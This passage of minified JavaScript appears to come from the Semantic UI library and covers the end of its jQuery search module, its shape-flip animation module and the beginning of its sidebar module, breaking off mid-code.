matches",t),e.each(n,function(n,i){if(e.isArray(i.results)&&(a=m.search.object(t,i.results,o)[0]))return!1})):(m.debug("Finding result in results object",t),a=m.search.object(t,n,o)[0]),a||!1}},select:{firstResult:function(){m.verbose("Selecting first result"),P.first().addClass(p.active)}},set:{focus:function(){S.addClass(p.focus)},loading:function(){S.addClass(p.loading)},value:function(e){m.verbose("Setting search input value",e),T.val(e)},type:function(e){e=e||g.type,"category"==g.type&&S.addClass(g.type)},buttonPressed:function(){A.addClass(p.pressed)}},remove:{loading:function(){S.removeClass(p.loading)},focus:function(){S.removeClass(p.focus)},buttonPressed:function(){A.removeClass(p.pressed)}},query:function(){var t=m.get.value(),n=m.read.cache(t);m.has.minimumCharacters()?(n?(m.debug("Reading result from cache",t),m.save.results(n.results),m.addResults(n.html),m.inject.id(n.results)):(m.debug("Querying for",t),e.isPlainObject(g.source)||e.isArray(g.source)?m.search.local(t):m.can.useAPI()?m.search.remote(t):m.error(x.source)),g.onSearchQuery.call(F,t)):m.hideResults()},search:{local:function(e){var t,n=m.search.object(e,g.content);m.set.loading(),m.save.results(n),m.debug("Returned local search results",n),t=m.generateResults({results:n}),m.remove.loading(),m.addResults(t),m.inject.id(n),m.write.cache(e,{html:t,results:n})},remote:function(e){S.api("is loading")&&S.api("abort"),m.setup.api(e),S.api("query")},object:function(t,n,o){var a=[],r=[],s=t.toString().replace(v.escape,"\\$&"),l=new RegExp(v.beginsWith+s,"i"),c=function(t,n){var i=e.inArray(n,a)==-1,o=e.inArray(n,r)==-1;i&&o&&t.push(n)};return n=n||g.source,o=o!==i?o:g.searchFields,e.isArray(o)||(o=[o]),n===i||n===!1?(m.error(x.source),[]):(e.each(o,function(i,o){e.each(n,function(e,n){var i="string"==typeof n[o];i&&(n[o].search(l)!==-1?c(a,n):g.searchFullText&&m.fuzzySearch(t,n[o])&&c(r,n))})}),e.merge(a,r))}},fuzzySearch:function(e,t){var n=t.length,i=e.length;if("string"!=typeof e)return!1;if(e=e.toLowerCase(),t=t.toLowerCase(),i>n)return!1;if(i===n)return e===t;e:for(var o=0,a=0;o<i;o++){for(var r=e.charCodeAt(o);a<n;)if(t.charCodeAt(a++)===r)continue e;return!1}return!0},parse:{response:function(e,t){var n=m.generateResults(e);m.verbose("Parsing server response",e),e!==i&&t!==i&&e[b.results]!==i&&(m.addResults(n),m.inject.id(e[b.results]),m.write.cache(t,{html:n,results:e[b.results]}),m.save.results(e[b.results]))}},cancel:{query:function(){m.can.useAPI()&&S.api("abort")}},has:{minimumCharacters:function(){var e=m.get.value(),t=e.length;return t>=g.minCharacters}},clear:{cache:function(e){var t=S.data(h.cache);e?e&&t&&t[e]&&(m.debug("Removing value from cache",e),delete t[e],S.data(h.cache,t)):(m.debug("Clearing cache",e),S.removeData(h.cache))}},read:{cache:function(e){var t=S.data(h.cache);return!!g.cache&&(m.verbose("Checking cache for generated html for query",e),"object"==typeof t&&t[e]!==i&&t[e])}},create:{id:function(e,t){var n,o,a=e+1;return t!==i?(n=String.fromCharCode(97+t),o=n+a,m.verbose("Creating category result id",o)):(o=a,m.verbose("Creating result id",o)),o},results:function(){0===R.length&&(R=e("<div />").addClass(p.results).appendTo(S))}},inject:{result:function(e,t,n){m.verbose("Injecting result into results");var o=n!==i?R.children().eq(n).children(y.result).eq(t):R.children(y.result).eq(t);m.verbose("Injecting results metadata",o),o.data(h.result,e)},id:function(t){m.debug("Injecting unique ids into results");var n=0,o=0;return"category"===g.type?e.each(t,function(t,a){o=0,e.each(a.results,function(e,t){var r=a.results[e];r.id===i&&(r.id=m.create.id(o,n)),m.inject.result(r,o,n),o++}),n++}):e.each(t,function(e,n){var a=t[e];a.id===i&&(a.id=m.create.id(o)),m.inject.result(a,o),o++}),t}},save:{results:function(e){m.verbose("Saving current search results to metadata",e),S.data(h.results,e)}},write:{cache:function(e,t){var n=S.data(h.cache)!==i?S.data(h.cache):{};g.cache&&(m.verbose("Writing generated html to cache",e,t),n[e]=t,S.data(h.cache,n))}},addResults:function(t){return e.isFunction(g.onResultsAdd)&&g.onResultsAdd.call(R,t)===!1?(m.debug("onResultsAdd callback cancelled default action"),!1):void(t?(R.html(t),m.refreshResults(),g.selectFirstResult&&m.select.firstResult(),m.showResults()):m.hideResults())},showResults:function(){m.is.visible()||(m.can.transition()?(m.debug("Showing results with css animations"),R.transition({animation:g.transition+" in",debug:g.debug,verbose:g.verbose,duration:g.duration,queue:!0})):(m.debug("Showing results with javascript"),R.stop().fadeIn(g.duration,g.easing)),g.onResultsOpen.call(R))},hideResults:function(){m.is.visible()&&(m.can.transition()?(m.debug("Hiding results with css animations"),R.transition({animation:g.transition+" out",debug:g.debug,verbose:g.verbose,duration:g.duration,queue:!0})):(m.debug("Hiding results with javascript"),R.stop().fadeOut(g.duration,g.easing)),g.onResultsClose.call(R))},generateResults:function(t){m.debug("Generating html from response",t);var n=g.templates[g.type],i=e.isPlainObject(t[b.results])&&!e.isEmptyObject(t[b.results]),o=e.isArray(t[b.results])&&t[b.results].length>0,a="";return i||o?(g.maxResults>0&&(i?"standard"==g.type&&m.error(x.maxResults):t[b.results]=t[b.results].slice(0,g.maxResults)),e.isFunction(n)?a=n(t,b):m.error(x.noTemplate,!1)):g.showNoResults&&(a=m.displayMessage(x.noResults,"empty")),g.onResults.call(F,t),a},displayMessage:function(e,t){return t=t||"standard",m.debug("Displaying message",e,t),m.addResults(g.templates.message(e,t)),g.templates.message(e,t)},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];g[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];m[t]=n}},debug:function(){!g.silent&&g.debug&&(g.performance?m.performance.log(arguments):(m.debug=Function.prototype.bind.call(console.info,console,g.name+":"),m.debug.apply(console,arguments)))},verbose:function(){!g.silent&&g.verbose&&g.debug&&(g.performance?m.performance.log(arguments):(m.verbose=Function.prototype.bind.call(console.info,console,g.name+":"),m.verbose.apply(console,arguments)))},error:function(){g.silent||(m.error=Function.prototype.bind.call(console.error,console,g.name+":"),m.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;g.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:F,"Execution Time":n})),clearTimeout(m.performance.timer),m.performance.timer=setTimeout(m.performance.display,500)},display:function(){var t=g.name+":",n=0;l=!1,clearTimeout(m.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),r.length>1&&(t+=" ("+r.length+")"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=O;return n=n||f,o=F||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(O===i&&m.initialize(),m.invoke(u)):(O!==i&&O.invoke("destroy"),m.initialize())}),a!==i?a:this},e.fn.search.settings={name:"Search",namespace:"search",silent:!1,debug:!1,verbose:!1,performance:!0,type:"standard",minCharacters:1,selectFirstResult:!1,apiSettings:!1,source:!1,searchFields:["title","description"],displayField:"",searchFullText:!0,automatic:!0,hideDelay:0,searchDelay:200,maxResults:7,cache:!0,showNoResults:!0,transition:"scale",duration:200,easing:"easeOutExpo",onSelect:!1,onResultsAdd:!1,onSearchQuery:function(e){},onResults:function(e){},onResultsOpen:function(){},onResultsClose:function(){},className:{animating:"animating",active:"active",empty:"empty",focus:"focus",hidden:"hidden",loading:"loading",results:"results",pressed:"down"},error:{source:"Cannot search. No source used, and Semantic API module was not included",noResults:"Your search returned no results",logging:"Error in debug logging, exiting.",noEndpoint:"No search endpoint was specified",noTemplate:"A valid template name was not specified.",serverError:"There was an issue querying the server.",maxResults:"Results must be an array to use maxResults setting",method:"The method you called is not defined."},metadata:{cache:"cache",results:"results",result:"result"},regExp:{escape:/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,beginsWith:"(?:s|^)"},fields:{categories:"results",categoryName:"name",categoryResults:"results",description:"description",image:"image",price:"price",results:"results",title:"title",url:"url",action:"action",actionText:"text",actionURL:"url"},selector:{prompt:".prompt",searchButton:".search.button",results:".results",message:".results > .message",category:".category",result:".result",title:".title, .name"},templates:{escape:function(e){var t=/[&<>"'`]/g,n=/[&<>"'`]/,i={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;","`":"&#x60;"},o=function(e){return i[e]};return n.test(e)?e.replace(t,o):e},message:function(e,t){var n="";return e!==i&&t!==i&&(n+='<div class="message '+t+'">',n+="empty"==t?'<div class="header">No Results</div class="header"><div class="description">'+e+'</div class="description">':' <div class="description">'+e+"</div>",n+="</div>"),n},category:function(t,n){var o="";e.fn.search.settings.templates.escape;return t[n.categoryResults]!==i&&(e.each(t[n.categoryResults],function(t,a){a[n.results]!==i&&a.results.length>0&&(o+='<div class="category">',a[n.categoryName]!==i&&(o+='<div class="name">'+a[n.categoryName]+"</div>"),e.each(a.results,function(e,t){o+=t[n.url]?'<a class="result" href="'+t[n.url]+'">':'<a class="result">',t[n.image]!==i&&(o+='<div class="image"> <img src="'+t[n.image]+'"></div>'),o+='<div class="content">',t[n.price]!==i&&(o+='<div class="price">'+t[n.price]+"</div>"),t[n.title]!==i&&(o+='<div class="title">'+t[n.title]+"</div>"),t[n.description]!==i&&(o+='<div class="description">'+t[n.description]+"</div>"),o+="</div>",o+="</a>"}),o+="</div>")}),t[n.action]&&(o+='<a href="'+t[n.action][n.actionURL]+'" class="action">'+t[n.action][n.actionText]+"</a>"),o)},standard:function(t,n){var o="";return t[n.results]!==i&&(e.each(t[n.results],function(e,t){o+=t[n.url]?'<a class="result" href="'+t[n.url]+'">':'<a class="result">',t[n.image]!==i&&(o+='<div class="image"> <img src="'+t[n.image]+'"></div>'),o+='<div class="content">',t[n.price]!==i&&(o+='<div class="price">'+t[n.price]+"</div>"),t[n.title]!==i&&(o+='<div class="title">'+t[n.title]+"</div>"),t[n.description]!==i&&(o+='<div class="description">'+t[n.description]+"</div>"),o+="</div>",o+="</a>"}),t[n.action]&&(o+='<a href="'+t[n.action][n.actionURL]+'" class="action">'+t[n.action][n.actionText]+"</a>"),o)}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.shape=function(o){var a,r=e(this),s=(e("body"),(new Date).getTime()),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1),f=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return r.each(function(){var t,m,g,p=r.selector||"",h=e.isPlainObject(o)?e.extend(!0,{},e.fn.shape.settings,o):e.extend({},e.fn.shape.settings),v=h.namespace,b=h.selector,y=h.error,x=h.className,C="."+v,w="module-"+v,k=e(this),S=k.find(b.sides),T=k.find(b.side),A=!1,R=this,P=k.data(w);g={initialize:function(){g.verbose("Initializing module for",R),g.set.defaultSide(),g.instantiate()},instantiate:function(){g.verbose("Storing instance of module",g),P=g,k.data(w,P)},destroy:function(){g.verbose("Destroying previous module for",R),k.removeData(w).off(C)},refresh:function(){g.verbose("Refreshing selector cache for",R),k=e(R),S=e(this).find(b.shape),T=e(this).find(b.side)},repaint:function(){g.verbose("Forcing repaint event");var e=S[0]||n.createElement("div");e.offsetWidth},animate:function(e,n){g.verbose("Animating box with properties",e),n=n||function(e){g.verbose("Executing animation callback"),e!==i&&e.stopPropagation(),g.reset(),g.set.active()},h.beforeChange.call(m[0]),g.get.transitionEvent()?(g.verbose("Starting CSS animation"),k.addClass(x.animating),S.css(e).one(g.get.transitionEvent(),n),g.set.duration(h.duration),f(function(){k.addClass(x.animating),t.addClass(x.hidden)})):n()},queue:function(e){g.debug("Queueing animation of",e),S.one(g.get.transitionEvent(),function(){g.debug("Executing queued animation"),setTimeout(function(){k.shape(e)},0)})},reset:function(){g.verbose("Animating states reset"),k.removeClass(x.animating).attr("style","").removeAttr("style"),S.attr("style","").removeAttr("style"),T.attr("style","").removeAttr("style").removeClass(x.hidden),m.removeClass(x.animating).attr("style","").removeAttr("style")},is:{complete:function(){return T.filter("."+x.active)[0]==m[0]},animating:function(){return k.hasClass(x.animating)}},set:{defaultSide:function(){t=k.find("."+h.className.active),m=t.next(b.side).length>0?t.next(b.side):k.find(b.side).first(),A=!1,g.verbose("Active side set to",t),g.verbose("Next side set to",m)},duration:function(e){e=e||h.duration,e="number"==typeof e?e+"ms":e,g.verbose("Setting animation duration",e),(h.duration||0===h.duration)&&S.add(T).css({"-webkit-transition-duration":e,"-moz-transition-duration":e,"-ms-transition-duration":e,"-o-transition-duration":e,"transition-duration":e})},currentStageSize:function(){var e=k.find("."+h.className.active),t=e.outerWidth(!0),n=e.outerHeight(!0);k.css({width:t,height:n})},stageSize:function(){var e=k.clone().addClass(x.loading),t=e.find("."+h.className.active),n=A?e.find(b.side).eq(A):t.next(b.side).length>0?t.next(b.side):e.find(b.side).first(),i="next"==h.width?n.outerWidth(!0):"initial"==h.width?k.width():h.width,o="next"==h.height?n.outerHeight(!0):"initial"==h.height?k.height():h.height;t.removeClass(x.active),n.addClass(x.active),e.insertAfter(k),e.remove(),"auto"!=h.width&&(k.css("width",i+h.jitter),g.verbose("Specifying width during animation",i)),"auto"!=h.height&&(k.css("height",o+h.jitter),g.verbose("Specifying height during animation",o))},nextSide:function(e){A=e,m=T.filter(e),A=T.index(m),0===m.length&&(g.set.defaultSide(),g.error(y.side)),g.verbose("Next side manually set to",m)},active:function(){g.verbose("Setting new side to active",m),T.removeClass(x.active),m.addClass(x.active),h.onChange.call(m[0]),g.set.defaultSide()}},flip:{up:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip up");else{g.debug("Flipping up",m);var e=g.get.transform.up();g.set.stageSize(),g.stage.above(),g.animate(e)}},down:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip down");else{g.debug("Flipping down",m);var e=g.get.transform.down();g.set.stageSize(),g.stage.below(),g.animate(e)}},left:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip left");else{g.debug("Flipping left",m);var e=g.get.transform.left();g.set.stageSize(),g.stage.left(),g.animate(e)}},right:function(){if(g.is.complete()&&!g.is.animating()&&!h.allowRepeats)return void g.debug("Side already visible",m);if(g.is.animating())g.queue("flip right");else{g.debug("Flipping right",m);var e=g.get.transform.right();g.set.stageSize(),g.stage.right(),g.animate(e)}},over:function(){return!g.is.complete()||g.is.animating()||h.allowRepeats?void(g.is.animating()?g.queue("flip over"):(g.debug("Flipping over",m),g.set.stageSize(),g.stage.behind(),g.animate(g.get.transform.over()))):void g.debug("Side already visible",m)},back:function(){return!g.is.complete()||g.is.animating()||h.allowRepeats?void(g.is.animating()?g.queue("flip back"):(g.debug("Flipping back",m),g.set.stageSize(),g.stage.behind(),g.animate(g.get.transform.back()))):void g.debug("Side already visible",m)}},get:{transform:{up:function(){var e={y:-((t.outerHeight(!0)-m.outerHeight(!0))/2),z:-(t.outerHeight(!0)/2)};return{transform:"translateY("+e.y+"px) translateZ("+e.z+"px) rotateX(-90deg)"}},down:function(){var e={y:-((t.outerHeight(!0)-m.outerHeight(!0))/2),z:-(t.outerHeight(!0)/2)};return{transform:"translateY("+e.y+"px) translateZ("+e.z+"px) rotateX(90deg)"}},left:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2),z:-(t.outerWidth(!0)/2)};return{transform:"translateX("+e.x+"px) translateZ("+e.z+"px) rotateY(90deg)"}},right:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2),z:-(t.outerWidth(!0)/2)};return{transform:"translateX("+e.x+"px) translateZ("+e.z+"px) rotateY(-90deg)"}},over:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2)};return{transform:"translateX("+e.x+"px) rotateY(180deg)"}},back:function(){var e={x:-((t.outerWidth(!0)-m.outerWidth(!0))/2)};return{transform:"translateX("+e.x+"px) rotateY(-180deg)"}}},transitionEvent:function(){var e,t=n.createElement("element"),o={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in o)if(t.style[e]!==i)return o[e]},nextSide:function(){return t.next(b.side).length>0?t.next(b.side):k.find(b.side).first()}},stage:{above:function(){var e={origin:(t.outerHeight(!0)-m.outerHeight(!0))/2,depth:{active:m.outerHeight(!0)/2,next:t.outerHeight(!0)/2}};g.verbose("Setting the initial animation position as above",m,e),S.css({transform:"translateZ(-"+e.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+e.depth.active+"px)"}),m.addClass(x.animating).css({top:e.origin+"px",transform:"rotateX(90deg) translateZ("+e.depth.next+"px)"})},below:function(){var e={origin:(t.outerHeight(!0)-m.outerHeight(!0))/2,depth:{active:m.outerHeight(!0)/2,next:t.outerHeight(!0)/2}};g.verbose("Setting the initial animation position as below",m,e),S.css({transform:"translateZ(-"+e.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+e.depth.active+"px)"}),m.addClass(x.animating).css({top:e.origin+"px",transform:"rotateX(-90deg) translateZ("+e.depth.next+"px)"})},left:function(){var e={active:t.outerWidth(!0),next:m.outerWidth(!0)},n={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};g.verbose("Setting the initial animation position as left",m,n),S.css({transform:"translateZ(-"+n.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+n.depth.active+"px)"}),m.addClass(x.animating).css({left:n.origin+"px",transform:"rotateY(-90deg) translateZ("+n.depth.next+"px)"})},right:function(){var e={active:t.outerWidth(!0),next:m.outerWidth(!0)},n={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};g.verbose("Setting the initial animation position as left",m,n),S.css({transform:"translateZ(-"+n.depth.active+"px)"}),t.css({transform:"rotateY(0deg) translateZ("+n.depth.active+"px)"}),m.addClass(x.animating).css({left:n.origin+"px",transform:"rotateY(90deg) translateZ("+n.depth.next+"px)"})},behind:function(){var e={active:t.outerWidth(!0),next:m.outerWidth(!0)},n={origin:(e.active-e.next)/2,depth:{active:e.next/2,next:e.active/2}};g.verbose("Setting the initial animation position as behind",m,n),t.css({transform:"rotateY(0deg)"}),m.addClass(x.animating).css({left:n.origin+"px",transform:"rotateY(-180deg)"})}},setting:function(t,n){if(g.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,h,t);else{if(n===i)return h[t];e.isPlainObject(h[t])?e.extend(!0,h[t],n):h[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,g,t);else{if(n===i)return g[t];g[t]=n}},debug:function(){!h.silent&&h.debug&&(h.performance?g.performance.log(arguments):(g.debug=Function.prototype.bind.call(console.info,console,h.name+":"),g.debug.apply(console,arguments)))},verbose:function(){!h.silent&&h.verbose&&h.debug&&(h.performance?g.performance.log(arguments):(g.verbose=Function.prototype.bind.call(console.info,console,h.name+":"),g.verbose.apply(console,arguments)))},error:function(){h.silent||(g.error=Function.prototype.bind.call(console.error,console,h.name+":"),g.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;h.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:R,"Execution Time":n})),clearTimeout(g.performance.timer),g.performance.timer=setTimeout(g.performance.display,500)},display:function(){var t=h.name+":",n=0;s=!1,clearTimeout(g.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",p&&(t+=" '"+p+"'"),r.length>1&&(t+=" ("+r.length+")"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,o){var r,s,l,c=P;return n=n||d,o=R||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},u?(P===i&&g.initialize(),g.invoke(c)):(P!==i&&P.invoke("destroy"),g.initialize())}),a!==i?a:this},e.fn.shape.settings={name:"Shape",silent:!1,debug:!1,verbose:!1,jitter:0,performance:!0,namespace:"shape",width:"initial",height:"initial",beforeChange:function(){},onChange:function(){},allowRepeats:!1,duration:!1,error:{side:"You tried to switch to a side that does not exist.",method:"The method you called is not defined"},className:{animating:"animating",hidden:"hidden",loading:"loading",active:"active"},selector:{sides:".sides",side:".side"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.sidebar=function(o){var a,r=e(this),s=e(t),l=e(n),c=e("html"),u=e("head"),d=r.selector||"",f=(new Date).getTime(),m=[],g=arguments[0],p="string"==typeof g,h=[].slice.call(arguments,1),v=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return r.each(function(){var r,b,y,x,C,w,k=e.isPlainObject(o)?e.extend(!0,{},e.fn.sidebar.settings,o):e.extend({},e.fn.sidebar.settings),S=k.selector,T=k.className,A=k.namespace,R=k.regExp,P=k.error,E="."+A,F="module-"+A,O=e(this),D=e(k.context),q=O.children(S.sidebar),j=D.children(S.fixed),z=D.children(S.pusher),M=this,I=O.data(F);w={initialize:function(){w.debug("Initializing sidebar",o),w.create.id(),C=w.get.transitionEvent(),w.is.ios()&&w.set.ios(),k.delaySetup?v(w.setup.layout):w.setup.layout(),v(function(){w.setup.cache()}),w.instantiate()},instantiate:function(){w.verbose("Storing instance of module",w),I=w,O.data(F,w)},create:{id:function(){y=(Math.random().toString(16)+"000000000").substr(2,8),b="."+y,w.verbose("Creating unique id for element",y)}},destroy:function(){w.verbose("Destroying previous module for",O),O.off(E).removeData(F),w.is.ios()&&w.remove.ios(),D.off(b),s.off(b),l.off(b)},event:{clickaway:function(e){var t=z.find(e.target).length>0||z.is(e.target),n=D.is(e.target);t&&(w.verbose("User clicked on dimmed page"),w.hide()),n&&(w.verbose("User clicked on dimmable context (scaled out page)"),w.hide())},touch:function(e){},containScroll:function(e){M.scrollTop<=0&&(M.scrollTop=1),M.scrollTop+M.offsetHeight>=M.scrollHeight&&(M.scrollTop=M.scrollHeight-M.offsetHeight-1)},scroll:function(t){0===e(t.target).closest(S.sidebar).length&&t.preventDefault()}},bind:{clickaway:function(){w.verbose("Adding clickaway events to context",D),k.closable&&D.on("click"+b,w.event.clickaway).on("touchend"+b,w.event.clickaway)},scrollLock:function(){k.scrollLock&&(w.debug("Disabling page scroll"),s.on("DOMMouseScroll"+b,w.event.scroll)),w.verbose("Adding events to contain sidebar scroll"),l.on("touchmove"+b,w.event.touch),O.on("scroll"+E,w.event.containScroll)}},unbind:{clickaway:function(){w.verbose("Removing clickaway events from context",D),D.off(b)},scrollLock:function(){w.verbose("Removing scroll lock from page"),l.off(b),s.off(b),O.off("scroll"+E)}},add:{inlineCSS:function(){var t,n=w.cache.width||O.outerWidth(),i=w.cache.height||O.outerHeight(),o=w.is.rtl(),a=w.get.direction(),s={left:n,right:-n,top:i,bottom:-i};o&&(w.verbose("RTL detected, flipping widths"),s.left=-n,s.right=n),t="<style>","left"===a||"right"===a?(w.debug("Adding CSS rules for animation distance",n),t+=" .ui.visible."+a+".sidebar ~ .fixed, .ui.visible."+a+".sidebar ~ .pusher {   -webkit-transform: translate3d("+s[a]+"px, 0, 0);           transform: translate3d("+s[a]+"px, 0, 0); }"):"top"!==a&&"bottom"!=a||(t+=" .ui.visible."+a+".sidebar ~ .fixed, .ui.visible."+a+".sidebar ~ .pusher {   -webkit-transform: translate3d(0, "+s[a]+"px, 0);           transform: translate3d(0, "+s[a]+"px, 0); }"),w.is.ie()&&("left"===a||"right"===a?(w.debug("Adding CSS rules for animation distance",n),t+=" body.pushable > .ui.visible."+a+".sidebar ~ .pusher:after {   -webkit-transform: translate3d("+s[a]+"px, 0, 0);           transform: translate3d("+s[a]+"px, 0, 0); }"):"top"!==a&&"bottom"!=a||(t+=" body.pushable > .ui.visible."+a+".sidebar ~ .pusher:after {   -webkit-transform: translate3d(0, "+s[a]+"px, 0);           transform: translate3d(0, "+s[a]+"px, 0); }"),t+=" body.pushable > .ui.visible.left.sidebar ~ .ui.visible.right.sidebar ~ .pusher:after, body.pushable > .ui.visible.right.sidebar ~ .ui.visible.left.sidebar ~ .pusher:after {   -webkit-transform: translate3d(0px, 0, 0);           transform: translate3d(0px, 0, 0); }"),t+="</style>",r=e(t).appendTo(u),w.debug("Adding sizing css to head",r)}},refresh:function(){w.verbose("Refreshing selector cache"),D=e(k.context),q=D.children(S.sidebar),z=D.children(S.pusher),j=D.children(S.fixed),w.clear.cache()},refreshSidebars:function(){w.verbose("Refreshing other sidebars"),q=D.children(S.sidebar)},repaint:function(){w.verbose("Forcing repaint event"),M.style.display="none";M.offsetHeight;M.scrollTop=M.scrollTop,M.style.display=""},setup:{cache:function(){w.cache={width:O.outerWidth(),height:O.outerHeight(),rtl:"rtl"==O.css("direction")}},layout:function(){0===D.children(S.pusher).length&&(w.debug("Adding wrapper element for sidebar"),w.error(P.pusher),z=e('<div class="pusher" />'),D.children().not(S.omitted).not(q).wrapAll(z),w.refresh()),0!==O.nextAll(S.pusher).length&&O.nextAll(S.pusher)[0]===z[0]||(w.debug("Moved sidebar to correct parent element"),w.error(P.movedSidebar,M),O.detach().prependTo(D),w.refresh()),w.clear.cache(),w.set.pushable(),w.set.direction()}},attachEvents:function(t,n){var i=e(t);n=e.isFunction(w[n])?w[n]:w.toggle,i.length>0?(w.debug("Attaching sidebar events to element",t,n),
i.on("click"+E,n)):w.error(P.notFound,t)},show:function(t){if(t=e.isFunction(t)?t:function(){},w.is.hidden()){if(w.refreshSidebars(),k.overlay&&(w.error(P.overlay),k.transition="overlay"),w.refresh(),w.othersActive())if(w.debug("Other sidebars currently visible"),k.exclusive){if("overlay"!=k.transition)return void w.hideOthers(w.show);w.hideOthers()}else k.transition="overlay";w.pushPage(function(){t.call(M),k.onShow.call(M)}),k.onChange.call(M),k.onVisible.call(M)}else w.debug("Sidebar is already visible")},hide:function(t){t=e.isFunction(t)?t:function(){},(w.is.visible()||w.is.animating())&&(w.debug("Hiding sidebar",t),w.refreshSidebars(),w.pullPage(function(){t.call(M),k.onHidden.call(M)}),k.onChange.call(M),k.onHide.call(M))},othersAnimating:function(){return q.not(O).filter("."+T.animating).length>0},othersVisible:function(){return q.not(O).filter("."+T.visible).length>0},othersActive:function(){return w.othersVisible()||w.othersAnimating()},hideOthers:function(e){var t=q.not(O).filter("."+T.visible),n=t.length,i=0;e=e||function(){},t.sidebar("hide",function(){i++,i==n&&e()})},toggle:function(){w.verbose("Determining toggled direction"),w.is.hidden()?w.show():w.hide()},pushPage:function(t){var n,i,o,a=w.get.transition(),r="overlay"===a||w.othersActive()?O:z;t=e.isFunction(t)?t:function(){},"scale down"==k.transition&&w.scrollToTop(),w.set.transition(a),w.repaint(),n=function(){w.bind.clickaway(),w.add.inlineCSS(),w.set.animating(),w.set.visible()},i=function(){w.set.dimmed()},o=function(e){e.target==r[0]&&(r.off(C+b,o),w.remove.animating(),w.bind.scrollLock(),t.call(M))},r.off(C+b),r.on(C+b,o),v(n),k.dimPage&&!w.othersVisible()&&v(i)},pullPage:function(t){var n,i,o=w.get.transition(),a="overlay"==o||w.othersActive()?O:z;t=e.isFunction(t)?t:function(){},w.verbose("Removing context push state",w.get.direction()),w.unbind.clickaway(),w.unbind.scrollLock(),n=function(){w.set.transition(o),w.set.animating(),w.remove.visible(),k.dimPage&&!w.othersVisible()&&z.removeClass(T.dimmed)},i=function(e){e.target==a[0]&&(a.off(C+b,i),w.remove.animating(),w.remove.transition(),w.remove.inlineCSS(),("scale down"==o||k.returnScroll&&w.is.mobile())&&w.scrollBack(),t.call(M))},a.off(C+b),a.on(C+b,i),v(n)},scrollToTop:function(){w.verbose("Scrolling to top of page to avoid animation issues"),x=e(t).scrollTop(),O.scrollTop(0),t.scrollTo(0,0)},scrollBack:function(){w.verbose("Scrolling back to original page position"),t.scrollTo(0,x)},clear:{cache:function(){w.verbose("Clearing cached 